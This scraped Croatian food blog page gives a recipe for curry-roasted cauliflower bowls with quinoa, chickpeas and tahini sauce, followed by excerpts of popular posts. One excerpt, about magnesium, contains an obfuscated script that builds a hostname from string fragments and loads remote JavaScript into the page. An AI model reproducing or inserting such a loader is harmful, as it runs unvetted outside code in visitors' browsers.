ZDJELA S CURRY CVJETAČOM I TAHINI UMAKOM





Zdjela s curry cvjetačom i tahini umakom 



Postoje ručkovi koji na papiru izgledaju zdravo, ali vas ostave da sat vremena kasnije njuškate po kuhinji, pitajući se jeste li uopće išta jeli. Ove zdjele s curry cvjetačom i tahinijem su čista suprotnost tome. One su ultimativno gorivo za sredinu dana: srčane, zasitne i krcate vlaknima, što znači da ćete stvarno izdržati do večere. Još bolje? Sve je gotovo za samo 35 minuta, što ih čini idealnim za radni tjedan kada trebate nešto hranjivo, a nemate vremena za komplikacije.




Zdjela s curry cvjetačom i tahini umakom 



Sastojci (za 4 porcije)


  • 1 srednja cvjetača (narezana na cvjetiće)


  • 2 žličice curry praha


  • 3 žlice maslinovog ulja (podijeljeno)


  • 2 i 1/4 žličice krupne soli (podijeljeno)


  • 1 šalica kvinoje


  • 1 limenka (400g) slanutka (ocijeđen i ispran)


  • 1/2 šalice nasjeckanog svježeg peršina


  • 5 žlica soka od limuna (podijeljeno)


  • 1/4 šalice tahini paste


  • 1/2 šalice ukiseljenog ljubičastog luka





Priprema:

Zagrijte pećnicu na 230°C s limom za pečenje unutra (na donjoj trećini pećnice). U velikoj zdjeli pomiješajte cvjetaču, curry prah, 2 žlice ulja i 1 i 1/4 žličice soli. Pažljivo istresite cvjetaču na vrući lim u jednom sloju. Pecite 20–25 minuta dok ne postane mekana i lagano zagorena na rubovima.

U međuvremenu skuhajte kvinoju prema uputama na pakiranju. U kuhanu i ocijeđenu kvinoju umiješajte slanutak, poklopite i ostavite da odstoji 5 minuta kako bi se slanutak ugrijao. Zatim umiješajte peršin, 2 žlice limunovog soka, pola žličice soli i preostalu žlicu ulja.

U manjoj posudi umutite tahini, 1 žlicu vode, preostale 3 žlice limunovog soka i pola žličice soli dok ne postane glatko.

 Podijelite smjesu kvinoje u 4 zdjele. Na vrh stavite pečenu cvjetaču i ukiseljeni luk. Sve prelijte tahini umakom i po želji ukrasite s još peršina.


Savjeti za pohranu

Kvinoja, pečena cvjetača i tahini umak mogu se pripremiti do 3 dana unaprijed i čuvati odvojeno u hermetički zatvorenim posudama u hladnjaku. Ako želite zamrznuti obrok, kvinoja i cvjetača mogu stajati u zamrzivaču do 2 mjeseca (u tom slučaju preskočite svježe začinsko bilje i luk do trenutka posluživanja).




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više